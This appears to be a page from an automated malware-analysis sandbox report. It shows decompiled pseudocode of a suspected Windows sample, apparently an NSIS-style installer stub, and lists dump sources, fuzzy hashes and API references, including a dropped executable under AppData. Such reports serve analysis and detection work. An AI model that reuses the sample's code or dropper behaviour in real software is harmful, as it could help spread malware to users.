											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be6e9d30e93fbb49eb3c361b8f1c94b7932ac8d56391751c3e2361f0828e0a06
Instruction ID: f7c6f07f586ed293a1c67bf574783cb577a0acbc2814a7f5ecfd539a56c9ebac
Opcode Fuzzy Hash: be6e9d30e93fbb49eb3c361b8f1c94b7932ac8d56391751c3e2361f0828e0a06
Instruction Fuzzy Hash: AF715671D00229CBDF28CF98C844BADBBB1FF44305F15816AD816BB281C7785A46DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405CFF, Relevance: 4.5, APIs: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CFF(signed int _a4) {
				struct HINSTANCE__* _t5;
				CHAR* _t7;
				signed int _t9;

				_t9 = _a4 << 3;
				_t7 =  *(_t9 + 0x409200);
				_t5 = GetModuleHandleA(_t7);
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t9 + 0x409204));
				}
				_t5 = LoadLibraryA(_t7); // executed
				if(_t5 != 0) {
					goto L2;
				}
				return _t5;
			}

0x00405d07
0x00405d0a
0x00405d11
0x00405d19
0x00405d26
0x00000000
0x00405d2d
0x00405d1c
0x00405d24
0x00000000
0x00000000
0x00405d35

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 7acfb344228b968400b962badda7c36266698eee5c55508006b44164a923ef80
Instruction ID: d69b72dbe4010a9b48e4a262f362438d38f190b8a9031efe6831075815a54aa0
Opcode Fuzzy Hash: 7acfb344228b968400b962badda7c36266698eee5c55508006b44164a923ef80
Instruction Fuzzy Hash: 5DE08C32A04610BBD3215B20AE0896B73A8EED9B403004C7EF615F6251D734AC11DBBA

Uniqueness

Uniqueness Score: -1.00%

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				intOrPtr _t15;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t15 =  *0x423eb0; // 0x5df3ac
					_t6 = _t17 * 0x1c + _t15;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42366c =  *0x42366c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42366c, 0x7530,  *0x423654), 0);
					}
				}
				return 0;
			}

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1c916d205157ad73d7dec8fa4d75793a4825b6d15c61c30e95467a340dd2df53
Instruction ID: 9357c62ddf9e7b3c824d0b87f8e4bad160879ee2cb8093492041203a2cf1b2c1
Opcode Fuzzy Hash: 1c916d205157ad73d7dec8fa4d75793a4825b6d15c61c30e95467a340dd2df53
Instruction Fuzzy Hash: A301F431724210ABE7295B389D04B2A36ADF710355F10427BF855F66F1D67CDC028B4D

Uniqueness

Uniqueness Score: -1.00%

Function 004056B4, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004056B4(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x004056b8
0x004056c5
0x004056da
0x004056e0

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C62,C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe,80000000,00000003), ref: 004056B8
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004056DA

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: f96d5d8e90d761c4e0dddf78ec48930a46771e4615b27f2c581d09f506512028
Instruction ID: 518821d5ca0a74227a37217cadb520a33af9faec79942caa6648154b48e23ab6
Opcode Fuzzy Hash: f96d5d8e90d761c4e0dddf78ec48930a46771e4615b27f2c581d09f506512028
Instruction Fuzzy Hash: DDD09E71658301AFEF098F20DE1AF2E7AA2EB84B01F10962CB646940E0D6715C15DB16

Uniqueness

Uniqueness Score: -1.00%

Function 00405695, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405695(CHAR* _a4) {
				signed char _t3;
				int _t5;

				_t3 = GetFileAttributesA(_a4); // executed
				if(_t3 != 0xffffffff) {
					_t5 = SetFileAttributesA(_a4, _t3 & 0x000000fe); // executed
					return _t5;
				}
				return _t3;
			}

0x00405699
0x004056a2
0x004056ab
0x00000000
0x004056ab
0x004056b1

APIs

GetFileAttributesA.KERNELBASE(?,004054A0,?,?,?), ref: 00405699
SetFileAttributesA.KERNELBASE(?,00000000), ref: 004056AB

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction ID: 6114cdacef20a61ffb1e354697c2a54f95ff97830a0005cd613603337fba2c3c
Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction Fuzzy Hash: 72C04CB1808501BBD6015B24DF0D81F7B66EB51321B508F35F56DE00F1C7355CA6DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 0040304E, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040304E(void* _a4, long _a8) {
				int _t6;
				long _t10;

				_t10 = _a8;
				_t6 = ReadFile( *0x409014, _a4, _t10,  &_a8, 0); // executed
				if(_t6 == 0 || _a8 != _t10) {
					return 0;
				} else {
					return 1;
				}
			}

0x00403052
0x00403065
0x0040306d
0x00000000
0x00403074
0x00000000
0x00403076

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,00402EA7,000000FF,00000004,00000000,00000000,00000000), ref: 00403065

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction ID: cf04fcf122da41e7499d2f74f705547a68887b1f6d4f421339b8fb166199a16f
Opcode Fuzzy Hash: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction Fuzzy Hash: 2AE08C32901118BBCF205E619C00EAB3B5CEB053A2F00C032FA14E52A0D630EA11DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00403080, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403080(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409014, _a4, 0, 0); // executed
				return _t2;
			}

0x0040308e
0x00403094

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402DE9,000081E4), ref: 0040308E

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction ID: eafd0aff1283cdec3023edec91852d87283cefa69c9b21bce59c6677f93a42a7
Opcode Fuzzy Hash: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction Fuzzy Hash: 14B01271644200BFDB214F00DF06F057B21A790701F108030B344380F082712420EB1E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004046CA, Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 478
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E004046CA(struct HWND__* _a4, int _a8, unsigned int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				intOrPtr _v20;
				void* _v24;
				long _v28;
				int _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				intOrPtr _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t182;
				intOrPtr _t183;
				int _t189;
				int _t196;
				intOrPtr _t198;
				long _t202;
				signed int _t206;
				signed int _t217;
				void* _t220;
				void* _t221;
				int _t227;
				intOrPtr _t231;
				signed int _t232;
				signed int _t233;
				signed int _t240;
				signed int _t242;
				signed int _t245;
				signed int _t247;
				struct HBITMAP__* _t250;
				void* _t252;
				char* _t268;
				signed char _t269;
				long _t274;
				int _t280;
				signed int* _t281;
				int _t282;
				long _t283;
				signed int* _t284;
				int _t285;
				long _t286;
				signed int _t287;
				long _t288;
				signed int _t291;
				int _t294;
				signed int _t298;
				signed int _t300;
				signed int _t302;
				intOrPtr _t309;
				int* _t310;
				void* _t311;
				int _t315;
				int _t316;
				int _t317;
				signed int _t318;
				void* _t320;
				void* _t328;
				void* _t331;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t182 = GetDlgItem(_a4, 0x408);
				_t280 =  *0x423ea8; // 0x5de34c
				_t320 = SendMessageA;
				_v8 = _t182;
				_t183 =  *0x423e90; // 0x5de1a0
				_t315 = 0;
				_v32 = _t280;
				_v20 = _t183 + 0x94;
				if(_a8 != 0x110) {
					L23:
					__eflags = _a8 - 0x405;
					if(_a8 != 0x405) {
						_t289 = _a16;
					} else {
						_a12 = _t315;
						_t289 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					__eflags = _a8 - 0x4e;
					if(_a8 == 0x4e) {
						L28:
						__eflags = _a8 - 0x413;
						_v16 = _t289;
						if(_a8 == 0x413) {
							L30:
							__eflags =  *0x423e99 & 0x00000002;
							if(( *0x423e99 & 0x00000002) != 0) {
								L41:
								__eflags = _v16 - _t315;
								if(_v16 != _t315) {
									_t232 = _v16;
									__eflags =  *((intOrPtr*)(_t232 + 8)) - 0xfffffe6e;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t315,  *(_t232 + 0x5c));
									}
									_t233 = _v16;
									__eflags =  *((intOrPtr*)(_t233 + 8)) - 0xfffffe6a;
									if( *((intOrPtr*)(_t233 + 8)) == 0xfffffe6a) {
										__eflags =  *((intOrPtr*)(_t233 + 0xc)) - 2;
										if( *((intOrPtr*)(_t233 + 0xc)) != 2) {
											_t284 =  *(_t233 + 0x5c) * 0x418 + _t280 + 8;
											 *_t284 =  *_t284 & 0xffffffdf;
											__eflags =  *_t284;
										} else {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							__eflags = _a8 - 0x413;
							if(_a8 == 0x413) {
								L33:
								__eflags = _a8 - 0x413;
								_t289 = 0 | _a8 != 0x00000413;
								_t240 = E0040464A(_v8, _a8 != 0x413);
								__eflags = _t240 - _t315;
								if(_t240 >= _t315) {
									_t93 = _t280 + 8; // 0x8
									_t310 = _t240 * 0x418 + _t93;
									_t289 =  *_t310;
									__eflags = _t289 & 0x00000010;
									if((_t289 & 0x00000010) == 0) {
										__eflags = _t289 & 0x00000040;
										if((_t289 & 0x00000040) == 0) {
											_t298 = _t289 ^ 0x00000001;
											__eflags = _t298;
										} else {
											_t300 = _t289 ^ 0x00000080;
											__eflags = _t300;
											if(_t300 >= 0) {
												_t298 = _t300 & 0xfffffffe;
											} else {
												_t298 = _t300 | 0x00000001;
											}
										}
										 *_t310 = _t298;
										E0040117D(_t240);
										_t242 =  *0x423e98; // 0xa1
										_t289 = 1;
										_a8 = 0x40f;
										_t245 =  !_t242 >> 0x00000008 & 1;
										__eflags = _t245;
										_a12 = 1;
										_a16 = _t245;
									}
								}
								goto L41;
							}
							_t289 = _a16;
							__eflags =  *((intOrPtr*)(_t289 + 8)) - 0xfffffffe;
							if( *((intOrPtr*)(_t289 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						}
						__eflags =  *((intOrPtr*)(_t289 + 4)) - 0x408;
						if( *((intOrPtr*)(_t289 + 4)) != 0x408) {
							goto L48;
						}
						goto L30;
					} else {
						__eflags = _a8 - 0x413;
						if(_a8 != 0x413) {
							L48:
							__eflags = _a8 - 0x111;
							if(_a8 != 0x111) {
								L56:
								__eflags = _a8 - 0x200;
								if(_a8 == 0x200) {
									SendMessageA(_v8, 0x200, _t315, _t315);
								}
								__eflags = _a8 - 0x40b;
								if(_a8 == 0x40b) {
									_t220 =  *0x420454;
									__eflags = _t220 - _t315;
									if(_t220 != _t315) {
										ImageList_Destroy(_t220);
									}
									_t221 =  *0x42046c;
									__eflags = _t221 - _t315;
									if(_t221 != _t315) {
										GlobalFree(_t221);
									}
									 *0x420454 = _t315;
									 *0x42046c = _t315;
									 *0x423ee0 = _t315;
								}
								__eflags = _a8 - 0x40f;
								if(_a8 != 0x40f) {
									L86:
									__eflags = _a8 - 0x420;
									if(_a8 == 0x420) {
										__eflags =  *0x423e99 & 0x00000001;
										if(( *0x423e99 & 0x00000001) != 0) {
											__eflags = _a16 - 0x20;
											_t189 = (0 | _a16 == 0x00000020) << 3;
											__eflags = _t189;
											_t316 = _t189;
											ShowWindow(_v8, _t316);
											ShowWindow(GetDlgItem(_a4, 0x3fe), _t316);
										}
									}
									goto L89;
								} else {
									E004011EF(_t289, _t315, _t315);
									__eflags = _a12 - _t315;
									if(_a12 != _t315) {
										E0040140B(8);
									}
									__eflags = _a16 - _t315;
									if(_a16 == _t315) {
										L73:
										E004011EF(_t289, _t315, _t315);
										__eflags =  *0x423eac - _t315; // 0x4
										_v32 =  *0x42046c;
										_t196 =  *0x423ea8; // 0x5de34c
										_v60 = 0xf030;
										_v16 = _t315;
										if(__eflags <= 0) {
											L84:
											InvalidateRect(_v8, _t315, 1);
											_t198 =  *0x42365c; // 0x5e5cd6
											__eflags =  *((intOrPtr*)(_t198 + 0x10)) - _t315;
											if( *((intOrPtr*)(_t198 + 0x10)) != _t315) {
												E00404568(0x3ff, 0xfffffffb, E0040461D(5));
											}
											goto L86;
										} else {
											_t142 = _t196 + 8; // 0x5de354
											_t281 = _t142;
											do {
												_t202 =  *((intOrPtr*)(_v32 + _v16 * 4));
												__eflags = _t202 - _t315;
												if(_t202 != _t315) {
													_t291 =  *_t281;
													_v68 = _t202;
													__eflags = _t291 & 0x00000001;
													_v72 = 8;
													if((_t291 & 0x00000001) != 0) {
														_t151 =  &(_t281[4]); // 0x5de364
														_v72 = 9;
														_v56 = _t151;
														_t154 =  &(_t281[0]);
														 *_t154 = _t281[0] & 0x000000fe;
														__eflags =  *_t154;
													}
													__eflags = _t291 & 0x00000040;
													if((_t291 & 0x00000040) == 0) {
														_t206 = (_t291 & 0x00000001) + 1;
														__eflags = _t291 & 0x00000010;
														if((_t291 & 0x00000010) != 0) {
															_t206 = _t206 + 3;
															__eflags = _t206;
														}
													} else {
														_t206 = 3;
													}
													_t294 = (_t291 >> 0x00000005 & 0x00000001) + 1;
													__eflags = _t294;
													_v64 = (_t206 << 0x0000000b | _t291 & 0x00000008) + (_t206 << 0x0000000b | _t291 & 0x00000008) | _t291 & 0x00000020;
													SendMessageA(_v8, 0x1102, _t294, _v68);
													SendMessageA(_v8, 0x110d, _t315,  &_v72);
												}
												_v16 = _v16 + 1;
												_t281 =  &(_t281[0x106]);
												__eflags = _v16 -  *0x423eac; // 0x4
											} while (__eflags < 0);
											goto L84;
										}
									} else {
										_t282 = E004012E2( *0x42046c);
										E00401299(_t282);
										_t217 = 0;
										_t289 = 0;
										__eflags = _t282 - _t315;
										if(_t282 <= _t315) {
											L72:
											SendMessageA(_v12, 0x14e, _t289, _t315);
											_a16 = _t282;
											_a8 = 0x420;
											goto L73;
										} else {
											goto L69;
										}
										do {
											L69:
											_t309 = _v20;
											__eflags =  *((intOrPtr*)(_t309 + _t217 * 4)) - _t315;
											if( *((intOrPtr*)(_t309 + _t217 * 4)) != _t315) {
												_t289 = _t289 + 1;
												__eflags = _t289;
											}
											_t217 = _t217 + 1;
											__eflags = _t217 - _t282;
										} while (_t217 < _t282);
										goto L72;
									}
								}
							}
							__eflags = _a12 - 0x3f9;
							if(_a12 != 0x3f9) {
								goto L89;
							}
							__eflags = _a12 >> 0x10 - 1;
							if(_a12 >> 0x10 != 1) {
								goto L89;
							}
							_t227 = SendMessageA(_v12, 0x147, _t315, _t315);
							__eflags = _t227 - 0xffffffff;
							if(_t227 == 0xffffffff) {
								goto L89;
							}
							_t283 = SendMessageA(_v12, 0x150, _t227, _t315);
							__eflags = _t283 - 0xffffffff;
							if(_t283 == 0xffffffff) {
								L54:
								_t283 = 0x20;
								L55:
								E00401299(_t283);
								SendMessageA(_a4, 0x420, _t315, _t283);
								_a12 = 1;
								_a16 = _t315;
								_a8 = 0x40f;
								goto L56;
							}
							_t231 = _v20;
							__eflags =  *((intOrPtr*)(_t231 + _t283 * 4)) - _t315;
							if( *((intOrPtr*)(_t231 + _t283 * 4)) != _t315) {
								goto L55;
							}
							goto L54;
						}
						goto L28;
					}
				} else {
					 *0x423ee0 = _a4;
					_t247 =  *0x423eac; // 0x4
					_t285 = 2;
					_v28 = 0;
					_v16 = _t285;
					 *0x42046c = GlobalAlloc(0x40, _t247 << 2);
					_t250 = LoadBitmapA( *0x423e80, 0x6e);
					 *0x420460 =  *0x420460 | 0xffffffff;
					_v24 = _t250;
					 *0x420468 = SetWindowLongA(_v8, 0xfffffffc, E00404CCB);
					_t252 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x420454 = _t252;
					ImageList_AddMasked(_t252, _v24, 0xff00ff);
					SendMessageA(_v8, 0x1109, _t285,  *0x420454);
